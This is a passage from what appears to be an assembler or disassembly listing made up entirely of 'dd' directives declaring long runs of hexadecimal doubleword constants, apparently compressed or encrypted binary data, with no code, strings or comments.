0DDE2C092h, 0CD6C5105h dd 0A4459F2Dh, 2888C872h, 501A2A0Ah, 47182484h, 0ED688024h dd 0F113B94Eh, 21F92B03h, 0B8C814FBh, 289E20E2h, 46F46929h dd 7D83120Eh, 0F4B0EC0Ah, 778B5D70h, 2AEA007Dh, 0CA35F3Fh dd 50BFA7D0h, 0A0385195h, 979B3840h, 8F422813h, 24046E4h dd 0F830CE17h, 17C43128h, 42CDFF30h, 43B400F6h, 0DE64713Dh dd 0EE2EB120h, 3702848Ah, 0C077413Fh, 82D82990h, 1BBCD420h dd 0B2B5E4h, 0B342F01h, 0C4B3B24Fh, 0A006C045h, 142151C7h dd 0D867E7DFh, 46849328h, 7D8D020Ch, 3120F894h, 354F1068h dd 6166007Dh, 0A470283Dh, 0DD09A2FFh, 823A2462h, 0A5BE3A4h dd 90530840h, 8B096C1Ch, 0E568820Ch, 0A149243Ch, 0E408A420h dd 0FD06FA03h, 1D939B82h, 0C70D1356h, 22BBCB2Bh, 20C4B627h dd 312D3F20h, 8F999BC3h, 0D5088375h, 249CC610h, 492493A8h dd 5297AA00h, 0D9C2C39Dh, 0E0C862ADh, 4C369284h, 4914444Fh dd 39022863h, 274287A3h, 6092E484h, 232ECE19h, 0CD1138F8h dd 0CE013A00h, 8E8D1DFFh, 2CA2B500h, 0B9C9B6BEh, 0C6E12E71h dd 0C2FF4200h, 117D8418h, 8898F879h, 8C5C8074h, 4F5A3B7Dh dd 0EA7CA600h, 3E871FBBh, 0AC3C266Dh, 0F720838h, 901AE409h dd 2A0DC6CCh, 84FF96h, 52BA812Fh, 295E6E58h, 0CD035C0Eh dd 65809F23h, 0EA3F706Bh, 3EDB0AB5h, 0A4D46EE1h, 1CFF08E4h dd 8CDE9360h, 224F4633h, 4AFC0042h, 0C1CCD2DEh, 5BEAAC8Eh dd 0A072309Ah, 9180C550h, 7464C18h, 1279E218h, 911A4C6h dd 0AA81ACF8h, 403E4FD4h, 0E41F65F8h, 12A41D0Bh, 5FE8A118h dd 0DA853568h, 0C86AACCFh, 0D8209068h, 43C305DDh, 0C044B64Ch dd 8D32BF00h, 39A7BD0Ch, 58E2074h, 0E4B4111h, 0EB2038ADh dd 80458121h, 180F7B1Ch, 0F318BC19h, 0A0A05373h, 29801A6Dh dd 34603855h, 7241B3DFh, 0CB12A092h, 0C0C98888h, 966E60E6h dd 0DAB1A000h, 0F971E90Dh, 0A4C200BCh, 94CA10A8h, 982E68BAh dd 8180C01Dh, 15B7FFE1h, 820500D3h, 0A72ED4F0h, 0C008AE2h dd 1CF9F6BBh, 78565BCh, 0B686B5ADh, 4A82C0B7h, 890066ABh dd 0A05F9D4Ch, 1E56AD3Fh, 40278F8Dh, 0C7862595h, 97004305h dd 2AE0E5A8h, 21522ACh, 0A27917A3h, 42D558D1h, 909660A5h dd 0BDDD0F61h, 40DE5948h, 4E0A8103h, 0A53C3F60h, 43180005h dd 39A0B267h, 11C63ECCh, 2B3E19D8h, 97FB01FCh, 30F34A4Dh dd 0F6608E2Eh, 0CF3100F5h, 0FBA629h, 9E7175ECh, 6DEDDE7Dh dd 19691700h, 0C2AC0D7h dd 0C1480C47h, 0D51860D1h, 340B1B00h, 95B86462h, 0BB2600C4h dd 0FDEF8E48h, 0A607EADCh, 6C6B9293h, 97D67970h, 3979C045h dd 2B9D37BFh, 84B09A16h, 99AE8900h, 3D26918h, 74280A1Ch dd 0F380C3E9h, 0F27E29ACh, 9356D700h, 99970DD5h, 9F7C8Eh dd 86090AE8h, 0F5736603h, 91485600h, 0BC2DD064h, 700400F6h dd 9DD67AADh, 9E018B02h, 72C878A7h, 0EDDC5AC3h, 10A601FEh dd 3DEB7FABh, 190AD0C6h, 54933800h, 0B9A571D4h, 79D5004Ch dd 83A28C8h, 700A1151h, 0B87AA910h, 0FD1B3800h, 870D04h dd 8B0EE095h, 0CAC0BE17h, 34144Dh, 0AF6B6A0Ch, 0F270606Ch dd 324016Eh, 494D2FD9h, 0A18CC446h, 6BD7200Eh, 943A0A51h dd 0E69CD600h, 0FD75F4h, 2DC013C8h, 301085CDh, 700AB87Eh dd 0C81456CCh, 8B06AA00h, 1B38844h, 0B54B3374h, 0F86AAB3Fh dd 2203CACEh, 9B3D1E21h, 0A115B8B0h, 60BB4DFEh, 0C7B64800h dd 0AD161335h, 93325500h, 9CB4EA28h, 0E25603C0h, 0B0746DFFh dd 9B81E398h, 5DD4ED00h, 46AC0811h, 0FFF43Dh, 4B35726Eh dd 5EB9349h, 0D58D3F00h, 2F4E350h, 0B1483F9Ah, 7C1FA180h dd 7B40603Bh, 5065F100h, 0E78F7ED1h, 0A8A0076h, 57705D8Bh dd 69039B73h, 6059AD3Eh, 8350E24Eh, 90ED1681h, 1CEA2941h dd 0CF64469Ch, 0FDE0C9B9h, 0C4666742h, 61E52A00h, 7893D67Fh dd 4DDA09ADh, 0E0A06238h, 0CCF0B2D2h, 0B5F4FF17h, 3BE42C10h dd 0EE79002Eh, 3E88245Dh, 181C00CCh, 71F8131Eh, 0B4A011C2h dd 2600AC25h, 0D712D81Ah, 3FF1E39Bh, 42807A32h, 0C5CDD93Fh dd 600331B2h, 0DFA36156h, 0D8C6F006h, 23FA000Fh, 0B8675D8Fh dd 211D97E4h, 0D0E8E129h, 0F41AA026h, 4BC79C87h, 6881C232h dd 0E62004h, 9BF9691Fh, 0B8C0FD1h, 0FDC0F407h, 66E02183h dd 3927C4DFh, 4204498Bh, 80AA54E0h, 0B6C0DAA9h, 5CEC87E6h dd 183AB04Ch, 32F0D584h, 46120020h, 74C60598h, 3907F6EEh dd 7530ABAEh, 1F4D8671h, 0D70840FAh, 8044504Ch, 306A70B5h dd 0CAECA119h, 0B9C03B60h, 0F34DC65Ch, 0A9EC81h, 4FEE2152h dd 0C4FE9817h, 6A093E00h, 0BBE9FF88h, 0B8CD09BEh, 0B1032771h dd 0D3E8A31Eh, 0B71FFE93h, 0D84F69B1h, 0E89820CEh, 3CFFA777h dd 38804DEAh, 41794E42h, 0B80048BFh, 0E8313565h, 483D9FA0h dd 3203E45Bh, 56685316h, 0A1BC5FA0h, 76582300h, 6EB754ACh dd 74C20CD9h, 3F2053CDh, 298DC503h, 0D0858FEEh, 5DA8EDh dd 177B364Eh, 84646327h, 0B4B52200h, 0EF0DA68h, 32E700AAh dd 437DF631h, 0EC03CA75h, 7C4C54BBh, 8568D0FCh, 48B07D48h dd 3A003890h, 4CBB1105h, 0C00CC52h, 0D5D6EA72h, 3EFDFBC6h dd 4786E74Dh, 0A8135FF4h, 3700F576h, 19EBF2C2h, 1527D8h dd 3DDB786Fh, 6EA04048h, 3CEC970Ah, 379078C2h, 0F0D5E400h dd 5AC0B2E8h, 1CC73900h, 0AA3D62B8h, 0E90300A2h, 954371E3h dd 0EF2C90D1h, 0F800163Ah, 8619FD7Bh, 94302448h, 5BA8094h dd 0A29AA3F4h, 7034284Dh, 80716B3Bh, 0C12CAF4Bh, 0E6583Ch dd 5FEF0E91h, 0B47875D1h, 1D5C1848h, 55C07CD0h, 9081B5B7h dd 98FCF651h, 79DBB004h, 44901Fh, 11CF8596h, 9BDE58E3h dd 2F0C50E4h, 20954ED0h, 0FE7700F5h, 41641DC7h, 6160B822h dd 0CFEC1E18h, 71592AEBh, 0D12601B4h, 3517C184h, 28017073h dd 53C07200h, 85166DD6h, 809960F3h, 4EFA10DBh, 3414EB00h dd 3AB492FEh, 57E307D5h, 0C0CF4F4Ah, 0FB038450h, 6A23A613h dd 5E95CB07h, 0A2703410h, 0CCA010Fh, 0F8EEE502h, 0D7C0F842h dd 8E713600h, 81F29A28h, 4E5F3CFCh, 0CBBF4F01h, 4367B272h dd 45A044F0h, 0E70001BAh, 66DF6F0Ah, 0B8611h, 8D72A503h dd 4204374Ah, 0F3D4F100h, 9E317EADh, 15790032h, 1F82050h dd 2600800Fh, 52E55783h, 4EAEA5h, 0D3A27BFCh, 0FBCB217Fh dd 0F1CA3900h, 126DA8FFh, 0E672009Dh, 52488FDDh, 0B524EFE0h dd 0C2004076h, 0F26E7C25h, 2F441B16h, 98D2A888h, 634A37E0h dd 0EB006875h, 3A15DFECh, 0EC203356h, 0EC60014h, 43986BA7h dd 0AD004941h, 2AA46FAEh, 0DB471Dh, 0FC44B8C2h, 17B9680Dh dd 7300227Dh, 9985CEB2h, 599E2ED5h, 0F02D890h, 3923A5C5h dd 0D19290E0h, 4774AE24h, 80E7600Fh, 45E824ABh, 0C6B8003Eh dd 0FD36F9BEh, 8C00784Ch, 0CB4F6F7Dh, 0A99030h, 0D39D2DD9h dd 0E958873h, 4C259116h, 0E9EB0900h, 755F95Bh, 70031418h dd 0E529C035h, 0DE006B87h, 0B8C5DAC7h, 390A47Dh, 880C76B6h dd 0F0989745h, 6E00A219h, 46ED2199h, 0E3B892h, 0C47F4759h dd 0B089F9DEh, 5BBE5E02h, 5AE80D78h, 34680244h, 0CF21C613h dd 8257C80h, 4100B80Ah, 0ED976073h, 3F7AC13Fh, 5705CC09h dd 8C64D1A0h, 0BD016B44h, 9A89FB3Fh, 60FA2017h, 568F8BCh dd 9CF7FF2Fh, 24380BE1h, 0B0FAB0C8h, 0F8332F0Eh, 81098E48h dd 60D98D92h, 0AA2D21B8h, 2B623820h, 646118C1h, 0A430C08h dd 0FE1DE4h, 50B57426h, 1167CB07h, 47147603h, 0D8D9104Bh dd 3C437E49h, 0C00194B1h, 76F52E09h, 8CCBE804h, 8EF868CFh dd 0C19BA450h, 181A78B4h, 214F0D43h, 8A035078h, 1F357D5Ah dd 0FB33987Bh, 0FE64A098h, 1A103C7Ch, 92475007h, 0A1704C51h dd 9351AF60h, 7568752Dh, 0A8551E3Ch, 0CDF00E8h, 7647ED14h dd 99292200h, 416D7FADh, 0D03D0077h, 3253058Eh, 6098507Ch dd 6288D600h, 0B431DF79h, 7D6300FEh, 11A5E6E7h, 664887F7h dd 88A00169h, 0D6AB35E8h, 0FECA5FE0h, 33890032h, 0D38BC825h dd 0C4009C76h, 0A29EA77Eh, 0F9B2BB3h, 8903E30Dh, 541980BEh dd 74EC876Fh, 4AAF0800h, 0DF1C383Ah, 36B23C89h, 82683C87h dd 593D40E0h, 21700EF7h, 0BBC2BA00h, 0CBC56CD9h, 20F30097h dd 738E080Bh, 1D071095h, 98216189h, 0A1818C7Ah, 0B6586044h dd 3D2266C4h, 4781B390h, 5C8B6903h, 596CC817h, 0BC0F867Fh dd 4015A754h, 0B29A35Bh, 2BA90005h, 22C001FDh, 0AD121A0Dh dd 0D0011032h, 666E785h, 0BBCB602Ch, 1CF18A00h, 0BE3C1BC1h dd 5D3B806Fh, 94D039D2h, 0ACE90052h, 0AEE559B0h, 0FB013882h dd 127665A0h, 8E200687h, 183900CFh, 888B03A7h, 0DF3BD427h dd 688600F8h, 0A12351ACh, 0E1F2032Eh, 0CD1F3B34h, 2794C8D0h dd 0ADE57400h, 8E9A7D02h, 0A0A75D30h, 77774148h, 7F542C31h dd 48829664h, 46009A48h, 5D1BC41Ah, 0C86A5CE2h, 71A111h dd 0FF67C785h, 781628F8h, 0A4040156h, 51AC831h, 6041C5E6h dd 1900DD48h, 28C28D57h, 49814DDEh, 4A7DAC0Dh, 68B060B2h dd 40008914h, 0CBD15469h, 0FF50B751h, 2D29E8DBh, 7F73DBh dd 70AF5B3h, 744E04D4h, 0F0B66E00h, 0FF2CD9BEh, 7F79005Ch dd 72686CE5h, 83B8984h, 2415A5D1h, 0A446C4h, 5AEF0769h dd 9FC847h, 0F3F99A98h, 80A6153Dh, 8BFC94A1h, 0FC393FCEh dd 784100EDh, 0B059E637h, 0F873CBC1h, 0F9145400h, 5D520622h dd 8B48006Ah, 0C3DA6158h, 404C9C0h, 0AD2B73BDh, 83401A80h dd 0D6781DD1h, 3EAC9Dh, 3B4C0BEh, 55123CF7h, 0EC40FDDAh dd 2E0E8B39h, 23C4A026h, 4D513009h, 172AA6E9h, 2483280Eh dd 0E5D58047h, 0E8A22654h, 0EDD60244h, 0B4E746A7h, 0FA01F8C0h dd 7A1B533Fh, 0FF75E800h, 3411FB1h, 150EEC8h, 0DA636D06h dd 0E4AFAA2Eh, 0A500BFD2h, 29E8054Fh, 2868A4D3h, 0A48C71h dd 16E4C783h, 0CE11D23Dh, 82C8E23Bh, 0D54DDAFDh, 0A1ECA754h dd 7C203DF1h, 0E9303425h dd 0F2231EF6h, 98854182h, 30EBED89h, 800CA44h, 449D6A73h dd 21BF770h, 55C89B0Ah, 5CE0E799h, 283809D7h, 87B68466h dd 4CB1B1D8h, 7CAABC0h, 0B556152Eh, 76A50022h, 0D05F081h dd 4CC0A157h, 311B80D0h, 954D0006h, 34E2E88Ah, 0FB001DEAh dd 36CAB2C0h, 0FE120259h, 0A0C43E35h, 0DBEF3D7Fh, 0CDBF7501h dd 30A2E7B8h, 7200112Dh, 464BA832h, 165C2E95h, 0A48780h dd 0B0BE3B05h, 2600914Fh, 0B7278F71h, 21CA63Dh, 0A74C8101h dd 90E641A0h, 0A9213101h, 7CDDEB58h, 94AC1D60h, 0B3F8000Ch dd 21B64A30h, 91AAA407h, 0FE1A7F2h, 24E8F453h, 5AEC0BF7h dd 0B080FAC0h, 9CD96887h, 0EEAECF00h, 0D3C3ACFDh, 90BBE05Dh dd 32AB3EDCh, 0C818A28Bh, 5385A900h, 0C600B991h, 0A9418178h dd 70827h, 0DAA14C37h, 0C5EAF282h, 0AC84F509h, 0B564600Fh dd 6B5F0075h, 1930D6E8h, 0DB1DB8CEh, 8687A8DEh, 77F04B41h dd 9951BDh, 0F8E1B435h, 18C2142Ah, 9C214839h, 0F300C5D9h dd 5D88AB8Eh, 0BF1F00A2h, 0A04368A6h, 0E00CC8Dh, 15D1772Ch dd 1B18A5Fh, 0B6B5E372h, 0FC4885EAh, 0AB050811h, 0D5B9404Fh dd 0DA06BCC0h, 3E92A2Bh, 334500F4h, 7E11B3C7h, 0E20028FCh dd 848A421Eh, 9D3496Bh, 93CCCDBDh, 0B9AA2000h, 4B011265h dd 0FC71DC56h, 582009E7h, 51C8EF7Ch, 868A06ABh, 182853C8h dd 0A617A100h, 7EA026B0h, 0D77800E9h, 0F70E398Eh, 916025A7h dd 0B17F9058h, 9E6524CFh, 87929240h, 2D6920C0h, 0B2F00732h dd 81A2253Ah, 67D60BC8h, 0C02B4DBDh, 684440D9h, 0D0505F00h dd 94D3ED93h, 0A27800CCh, 0DB41ABFh, 0E318908Eh, 60E8E74Dh dd 75AB00BCh, 24F67AACh, 0A004B8Fh, 0CADAE66h, 67FB5Fh dd 8D725E62h, 0EDC2C597h, 0CC3DCA00h, 0B589117Bh, 558A00EBh dd 0E977D642h, 2700A06Ch, 3249B0F5h, 89B382h, 39BA34CFh dd 6675BC95h, 0AF2FC70Bh, 0A14000B1h, 190F9F1h, 3DF03ECFh dd 6855C0BCh, 0B75D0098h, 8248BA13h, 0EC5200E8h, 5859BC03h dd 860EA8AFh, 20122C83h, 64A27C1Eh, 0B2EC0047h, 76C01BDDh dd 0A7F0C32Fh, 78092678h, 0DE1266h, 415EFCC8h, 9CA39856h dd 3D00934h, 89E25010h, 3A7D5700h, 0A5E7248Bh, 0B77C1D38h dd 0DAED8245h, 8E40EC29h, 0C005321h, 0FD503FBAh, 0FA2B086Ah dd 7823000Ah, 2DDDEA5h, 7A040328h, 77619F26h, 8CF70880h dd 9E790090h, 0CCDB2E7Fh, 1E03CE22h, 3B01EEF9h, 256588B3h dd 960E00D2h, 623E8B9Ch, 7760FBC7h, 0BF350248h, 115205F7h dd 0C8B57A14h, 4900A8FCh, 89690618h, 0B0E6E3B3h, 1C400ACh dd 0ABAD4AA4h, 8B4DAE42h, 55700020h, 964C6B81h, 2ABF004Fh dd 0B1FEE13h, 82048D4Bh, 2F6314FFh, 43644080h, 6490F0C1h dd 423110Ah, 2B4F3FC0h, 4F430B02h, 2877FC40h, 0B4F98A00h dd 0BBC33E5Dh, 33820187h, 0A8FE34D8h, 0F15C2810h, 0D812CB94h dd 12338738h, 90B71CC1h, 9CA0BB4Ch, 1A06DC92h, 0C6475051h dd 0F8402E38h, 0D0CF1793h, 0AFBC1E90h, 18B86260h, 7CF0C7C4h dd 48D002A3h, 46853C49h, 0F8230EE0h, 961B416h, 4642B809h dd 22520168h, 0B42BE31Dh, 0C0A4D1A3h, 0B7489906h, 0E8F000F1h dd 6DFEC4A6h, 13E489h, 9E1F726Fh, 0D7D851B7h, 0DCA3811Ch dd 59E4D0C7h, 0DDFFEC53h, 721EEB00h, 4F5D2Ah, 1FABC473h dd 0A08410DEh, 6AFEAA00h, 0EC9B8CEAh, 87FB009Dh, 2C2158B0h dd 3FFA0C9Fh, 0FCF7800h, 91466251h, 0F6AB3B76h, 0A94810Bh dd 0AADFA820h, 2F00A5BDh, 23C26EE0h, 0F61698h, 0BB9787A8h dd 3AD45C5h, 9C63D00h, 61CF3C05h, 97B4A012h, 0E147835h dd 20D46E22h, 681CA900h, 95006A48h, 0A6B61A8h, 0E819BCAAh dd 0D07A4EC5h, 698D9AE0h, 0B8334100h, 0FA92E4E3h, 56F001Ch dd 0A427C91Ah, 8600618Dh, 0E50D7618h, 9F828A9h, 99984954h dd 300E87Ah, 0B16D4C3Fh, 259DC2BDh, 1848BC72h, 0C9F03723h dd 0C3110663h, 2A39004Ah, 0BD04224h, 0ED010458h, 67688877h dd 2B20BA39h, 2074CCCh, 188FC600h, 4980628Eh, 8C96907Ch dd 911C003Eh, 1447DE6Dh, 4D907C4h, 40D7D6DDh, 0F7C3BE4Eh dd 7A599800h, 1F123AD1h, 0AD08CCA9h, 0B0005E21h, 66ED0297h dd 1ECE9127h, 69DC22h, 0FA1192E7h, 56F05C61h, 0F5578400h dd 63DA21A5h, 3218C6D6h, 255048DDh, 0B40756A7h, 0B5EB7EF8h dd 0F4FC7490h, 0A369C0A5h, 0AAF7DAE7h, 75BD38C1h, 50805A80h dd 68A1CD5Eh, 34004BB6h, 0C443A0AAh, 0C31FE2D0h, 0EF660438h dd 814E0800h, 0FF7E6A93h, 182B0078h, 0D9244B68h, 0B531B737h dd 585CA85Ah, 0BEE5F600h, 0E60EA000h, 8F7EF919h, 507680h dd 34ED975Fh, 0D44623A3h, 2AE39A00h, 8AB64EABh, 0FB0B00D3h dd 0F2AFBB79h, 6100157Dh, 6417EA06h, 0E3733224h, 704DF0D7h dd 163518FFh, 617E082Dh, 0FBDD20C1h, 0A07E0B63h, 8008A59h dd 9331F383h, 0C9E8F64h, 854727E6h, 0E943E158h, 9288023Ah dd 80C4E84Eh, 640ADC40h, 0E19D4339h, 6600F75h, 659630A3h dd 0F2839320h, 37D569C0h, 0B112D1h, 1104B535h, 0A3674571h dd 4E947201h, 8436627Eh, 643800EBh, 5C606BDCh, 9F5CD37Fh dd 0A4430082h, 5338CC6Ah, 91C50781h, 43C2FB83h, 0AFD01B94h dd 6A370924h, 0E6604035h, 1FD79B46h, 0C713676h, 0BD1892A1h dd 0C96F841Ch, 6D2E48C0h, 7B92728h, 0B6BA41B0h, 643B03Dh dd 6A7FBB23h, 3944C9C0h, 6E48467h, 0EB16D2E7h, 476F08DFh dd 6710E021h, 0F5A8F3h, 818F5B68h, 3C82166Ch, 0C80A35F4h dd 9CCD8D48h, 0B157B8B1h, 0C06391BCh, 0B9782358h, 5309251Fh dd 9C5CD0C5h, 0C6466800h, 0CC56E055h, 0BF0C141h, 0B04A9131h dd 0EC0C6B62h, 0E43B6608h, 5C4CC4DFh, 0EE6753C0h, 0CDA305Bh dd 0ACEB166h, 80E1E969h, 39A13389h, 780B116Bh, 15BD887Bh dd 5F0040B0h, 2EEE7A19h, 0C056998Dh, 57B00421h, 6507CA76h dd 0F6A36D77h, 8050887Eh, 4C589816h, 1B52A749h, 22E51A80h dd 98724021h, 9FA404A0h, 82247A1Bh, 244A0328h, 0B3117417h dd 0BE7D029Dh, 0F7E0B64Ah, 78636E57h, 89BCAB21h, 0EF401DA9h dd 2E80897h, 5871E170h, 50866F8Ch, 49F08131h, 4852D4A6h dd 30B6E248h, 8301AFFFh, 6A3315F4h, 0AC20D05Eh, 0B06D30A1h dd 9800329h, 0DFCEC601h, 7DA0FBE1h, 1D14E4C8h, 1725BBDh dd 6E811C7Ch, 7AF1CC9Fh, 0D004F201h, 1BC732C0h, 30B1CC52h dd 2115894h, 218885CAh, 57B8B281h, 1AE06B7Ah, 0DD530B1h dd 7712A3E9h, 721D99DFh, 0F4220C28h, 4F8322B2h, 0BDB9590Fh dd 13EBE07Fh, 84703Fh, 602F0C4Eh, 277B0993h, 83D241C0h dd 6893AAEh, 0B11F4DFFh, 0FD4908D6h, 8BCB0F8Ch, 0AFE7C0AEh dd 0C21803Eh, 4F789FC7h, 0C2420EE8h, 0B9008623h, 0CDCA7357h dd 50808676h, 580560E3h, 6E5979D6h, 0EC55B820h, 97DE00B8h dd 63B3E910h, 7800612Eh, 3D129D07h, 9569435h, 19EBE450h dd 0C211949Dh, 8B59EC81h, 9299FC29h, 4154A00h, 9A7F6B75h dd 0B3D0544h, 32C9B101h, 0BC1B15BCh, 8534C23h, 304FA2BCh dd 9F1889F0h, 68596C13h, 0A314848Ch, 11387A97h, 50934D5h dd 9F06A150h, 8087D1EAh, 25636544h, 81D42FB0h, 6AEAB418h dd 8221D0F8h, 74004866h, 362B3F75h, 0C0AF6E4Dh, 5FB94291h dd 46909FD9h, 0AD224B00h, 7B40F64Eh, 30A9D461h, 3A017423h dd 0D788FDAEh, 0F288A618h, 2409082h, 0EFB8D05Ah, 0A8B0832Eh dd 0C0857BAh, 6476F5CAh dd 61E4403Dh, 2E023F58h, 39960AE2h, 0B8843E14h, 984D3C80h dd 9700BBEDh, 29AE94C0h, 4D230333h, 0B801861h, 17E43E67h dd 2BC0D642h, 0C1A166E2h, 880B9601h, 4FE95BD1h, 9CB8AC50h dd 60C300B3h, 551F80D4h, 7E50509Ah, 0EA430FD0h, 0B360EB70h dd 0C010B918h, 7D6408DAh, 0D11B7600h, 71B28445h, 0E994A8A5h dd 4449C06Eh, 0F3B8AFE0h, 3EF50507h, 6C4FDA4Bh, 1893216Bh dd 39A36A01h, 5F39FF16h, 2D448068h, 0CC411015h, 0AB5D098Eh dd 5097EDCBh, 4E814F91h, 80C5E999h, 29A82FB9h, 789AE2BAh dd 0B76C005Eh, 0C68C36DEh, 0FA1ABB12h, 8F4155A9h, 0C29E9198h dd 0DDCA0158h, 102CF0B1h, 257BBB1h, 357299ECh, 0C8C06B37h dd 0A20BE37Eh, 823956A3h, 0C4FBE43Ch, 1CB2220Ch, 7C0C330Bh dd 11D49D17h, 253C807Bh, 0F2B64CABh, 0B7C2CB2h, 790450CCh dd 0DE697B0Eh, 0B8D88AB2h, 0F20F2080h, 1452EAAh, 12C9C662h dd 0C0BE53F0h, 0D5FA9878h, 20D60B01h, 0C49049Dh, 0E9E2A088h dd 9363FF60h, 22D0464Eh, 7C100C7h, 54333064h, 0D00F6C05h dd 2990FEF3h, 8AA0047Ch, 0FF57BD60h, 0E86DC929h, 4065DFC2h dd 59C59Ah, 97C45330h, 3C4945A9h, 11736F01h, 0DA0B6D80h dd 0C724B052h, 60FA4420h, 2620F5C7h, 117016C2h, 0C0384866h dd 0F920EB6Fh, 2FB912C8h, 23143A54h, 0EDF0047h, 0F7859B4h dd 672F3B05h, 88ECD9h, 0AE15004Bh, 0F6D4A8F4h, 4E386F3Ah dd 0BB20B9EAh, 2F1B83CDh, 98EDA7AFh, 0C0C6E8F2h, 6A9E5339h dd 57070F77h, 0EEC76EFBh, 0B4DEE05Eh, 3A11712Eh, 1205877Dh dd 0D48229C8h, 23C42FC8h, 17DA002Ch, 5D829BFBh, 6C309F2Eh dd 71F463Eh, 0F7E4C867h, 374049C4h, 0C443670Eh, 0DC53B326h dd 6F84C060h, 0BEDD005Ah, 3CEF060Ch, 8A12E4E2h, 40044056h dd 7633EA05h, 84DBEA8h, 0D8DF448Ch, 88E0FE4Eh, 341D07A1h dd 49D78E13h, 0D120C406h, 0BA6F88A6h, 654F40CAh, 78B33FCh dd 8E603270h, 66F11087h, 0AE5C5D4Ah, 0BCF85C30h, 72128C4Ah dd 4C044B5Ah, 2B377AFEh, 87885C82h, 0E8126CE7h, 0F52400EEh dd 7980B396h, 0E3109C02h, 61BF1E20h, 0AF18888Ch, 0CA755704h dd 483276BDh, 58971520h, 1ED40388h, 4AF25477h, 68C45B90h dd 0A5B71600h, 226715DDh, 0E7140A1Bh, 11BC91C2h, 0A2748E53h dd 31384DB0h, 0FC5610CAh, 0DA650263h, 3691C301h, 870074C6h dd 0B5198B80h, 642B79Dh, 68828535h, 5490A823h, 24F9D76Fh dd 0DEC00A70h, 0EFA43Ah, 0F9FC32A6h, 9BC6E2CDh, 10A3340Ah dd 0FD11A80Bh, 0FEAE3F80h, 448C9F88h, 8700E7F0h, 3EE20FAEh dd 183A072Eh, 0A15883A8h, 0BA0360E5h, 0F5F4ED9Ch, 5DE8D003h dd 487DF68Dh, 48E87458h, 9E3A028Ch, 5AAEDDF7h, 148605Fh dd 0BDEF03DAh, 456C1E2Bh, 6394ACD9h, 30CCA2C4h, 67063887h dd 6B4DA320h, 0CD530379h, 5EA99471h, 876EEEE1h, 309BE419h dd 0B234A1C1h, 7CCD3EC4h, 0D0EE52DEh, 0A4099C15h, 737F0600h dd 69117DFBh, 45347C03h, 0AAE28D67h, 20B86074h, 87570793h dd 0C6A75B0h, 0DA00B539h, 0C2CCCF8Dh, 0B4B73BC6h, 319B0035h dd 33407C1Ah, 0C2901774h, 0F689607h, 0B1E0E636h, 1BF740Bh dd 0A8176104h, 801AA732h, 0A6B20F79h, 819F64h, 0A821DD9Dh dd 0B11563F1h, 22A46800h, 0AED00575h, 5D73054Ah, 0C8ECD3E6h dd 1200A144h, 3C51C701h, 774E1Dh, 20DB4F0Dh, 0B50E75ECh dd 0B2580414h, 0E62180BCh, 0D68E94h, 0CB71110Bh, 95A749F4h dd 0AA1B21C0h, 58989F82h, 4E8A10B1h, 3600BFA0h, 0F2CABFFFh dd 9D14566Fh, 2680228Eh, 9443F024h, 40CAD47Ch, 29790079h dd 5BD63360h, 0E2EC5E4Ah, 0D05D8403h, 9919A9E7h, 0A460A3AAh dd 0EA702C7Ch, 53BC40B4h, 0C6000641h, 374A6895h, 39C29919h dd 188E9E1Ch, 0A469E6B5h, 0CA22CC66h, 83940B31h, 1C93D7B2h dd 0A5A930F0h, 760F1074h, 445D9B58h, 0A344FFDBh, 1A808899h dd 0A138D91Ch, 4525F640h, 1959AB11h, 0A80E7C9Dh, 0B5C842B9h dd 5B17E480h, 0F701D5BBh, 8462E120h, 382382D0h, 12792100h dd 4FB44D99h, 16723600h, 0AF3A9DF6h, 2AA4723Dh, 0C45CB288h dd 889C6960h, 9F00953Ch, 0A0F506F3h, 1396C458h, 2769FC26h dd 0F1618028h, 8400DD3Ch, 7108BDCFh, 0F093B4CDh, 787207F5h dd 813A5E28h, 0FCF65B16h, 543C23F0h, 0A152046Ch, 64CC3FCBh dd 0CE200A4h, 6944420Bh, 7F3F6322h, 6DD31B5Eh, 210404ECh dd 80BEC294h, 7BC97D34h, 8850A905h, 0AC0008DCh, 0A3DF941Eh dd 93E4A813h, 6BE20E0Ah, 0BA00265Bh, 0A3C4693Dh, 4040F44Fh dd 0A4BE18A2h, 78737463h, 0ABAA0135h, 0E9C3030Ah, 3E71101Bh dd 3F07B83h, 9491F52Ah, 0B95823E0h, 71CC30E0h, 1C3BB2D8h dd 1E876833h, 41DB40D7h, 0BD885E65h, 6D2AFA09h, 2D30C87Bh dd 0D1FF0072h, 0A90F7943h, 0A1289A11h, 762C8C0Eh, 990CCDA3h dd 656949h, 3BA0FA5Dh, 2DC21201h, 4FD9FB2Ch, 0E3401700h dd 508A88Fh, 23B92073h, 7D1C0084h, 4CB16ED7h, 3831CF00h dd 61EC7F0h, 1A8C3058h, 0E3C35BE1h, 7D7F100h, 0C47FF5DAh dd 6B9615F6h, 769479h, 0E3035D21h, 0D9ACCF80h, 1B7FFC04h dd 648CCEB1h, 0AB008698h, 8DE6CB07h, 2A0D1B1h, 0E51E5CB0h dd 58605E7Dh, 8A05659Dh, 6E92A501h, 0B1163400h, 1B84E9h dd 0C368C62h, 0FF7F3D72h, 6B32F51Dh, 0F68F29B0h, 0A9A41CDFh dd 3C570E03h, 0E5232A00h, 7A003643h, 1651DCC5h, 0FA820784h dd 0A33A1448h, 0B11E2015h, 964026D5h, 440CD0E9h, 983F3C45h dd 0CB4B038Dh, 0E44D83ABh, 52C3DC00h, 9C1CD939h, 0A4D89AECh dd 1D847241h, 0C0AC96AFh, 0C175DCF6h, 260B1C4Bh, 6ADBB2D7h dd 1C597Ch, 0F12C7222h, 0BBF283F6h, 0FEE2A90Ah, 130010E8h dd 0E42F68E6h, 43A6008Dh, 7F231103h, 8126B16Dh, 8404A85Ah dd 6813363h, 0E45019EAh, 24616727h, 3AA5D9DAh, 43506EA6h dd 29991235h, 5E6CF04Fh, 0B59D3E00h, 42218A90h, 13AC711Ah dd 165463Bh, 4A87766Ah, 212C40B2h, 9EF460ECh, 2D80D891h dd 76B9DCD9h, 992A0F40h, 318AFF7Dh, 0E9540610h, 5E004118h dd 3F3E661Ch, 0EFE712h, 8E822A7Eh, 0B138D828h, 0D4CFB400h dd 81B250A7h, 32942440h, 134C45B0h, 0DB0C2CDCh, 0A1146000h dd 43A013F0h, 56AA026Ch, 6E91D89Bh, 0A228F490h, 6650CC00h dd 30EF1F60h, 75FD0058h, 7A7F510Ch, 0B74C3A24h, 6EB80F28h dd 607C8E37h, 9BB2FA4h, 7B012683h, 72C543E4h, 0E70CB180h dd 0B2138600h, 0BE9AD6B5h, 0A30B0969h, 54802939h, 40C16073h dd 102D2132h, 91A08005h, 2EE1988Ch, 131CA86Dh, 